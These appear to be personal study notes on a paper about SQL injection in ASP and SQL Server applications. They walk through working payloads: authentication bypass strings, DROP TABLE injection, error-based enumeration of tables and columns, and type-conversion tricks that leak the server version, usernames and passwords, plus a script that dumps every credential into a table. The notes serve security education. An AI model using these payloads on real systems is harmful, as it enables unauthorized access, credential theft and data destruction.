7July_09_2008 Advanced SQL Injection In SQL Server Applications
Advanced SQL Injection In SQL Server Applications

SQL injection attacks specific to Microsoft Internet Information Server/Active Server Pages/SQL Server platform
for web app developers and security professionals

SQL (structured query lang) text lang: sql-92 to recent ansi std.
SQL statements can modify the structure of a db (using DDL data definition language statements)
                            manipulate the db using (using DML data manipulation language statements)
Transact-SQL in this paper--used by Microsoft SQL server

attack:
select id, forename, surname from authors where name='john';  

' is delimiter

select id, forename, surname from authors where name='jo';drop table authors --hn';

will delete author table.

it would seem escaping or removing the single quotes might solve the problem.
this is true, but other difficulties arise using this sol'n
    1. not all user input is strings, attackers can append to numeric
   other fields to consider, for example date, etc.

ASP .net example critical point:
  var sql = "select * from users where username = ' " + username + " ' and password = ' " + password + " ' ";
if user does the following:
  username: '; drop table users--
  password:

 the user table will be deleted.

to login in as anyone:
  Username: admin'--
to login as first user in the users table
  Username: ' or 1=1--
to login as fictitious user
  Username:  ' union select 1, 'fictional_user', 'some_password', 1--
  (this works because the app believes the 'constant' row was part of the recordset retrieved from db)

Obtaining info via error msgs
 -discovered by David Litchfield doing a penetration test
 -attacker determines the structure of certain dbs and tables
 -example:
create table users( id int,    
        username varchar(255),
        password varchar(255),
        privs int
    )
        ..and had the following users inserted:

insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )

   then attacker makes an acct w/o know user table structure, not likely to be successful
     even w/ success he may have privs  a 1 for low access privileges
   but when error msgs are returned, the attacker can ascertain structure of db

  Username: ' having 1=1--
    returns error:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35

Now the attacker knows table name and a column.

   Username: ' group by users.id having 1=1--

which produces the error…
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
 etc...
 until
     Username: ' group by users.id, users.username, users.password, user.privs having 1=1--

        which is equivalent to select * from user where username = ' '

 types can be determined via type conversion error
   Username: ' union select sum(username) from users--
   which takes advantage of the fact that SQL server applies the 'sum' clause before equality... and summing a text field gives the following:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35

 if numeric field, the number of rows don't match is the error.
     Username: ' union select sum(id) from users--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35

This will work for discovering all data types of any field of any table of a db

Attacker can create well-formed 'insert' query. like this:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xff)
The user can get context of all error msgs:
   select * from master..systmessages

string to int conversion (used to read any value in db) 
    Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35
attacker wants username/password:
    Username: ' union select min(username),1,1,1 from users where username > 'a'--
   min username > 'a', tries conversion to int
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
so attacker knows admin acct exists, uses to find other users one at a time substituting in newest username 
     Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
then onto passwords....
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
more elegantly get them all:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where username>@ret
select @ret as ret into foo
end
The attacker 'logs in' with this 'username'
    Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--

creates table 'foo', which contains the single column 'ret' w/ string in it. create table usually available to low level or on temp db.

The attacker then selects the string from the table, as before:
Username: ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
then clean up
  Username: '; drop table foo--

MORE ACCESS-- use control of db to obtain further access of network. (p. 12 Leveraging Further Access)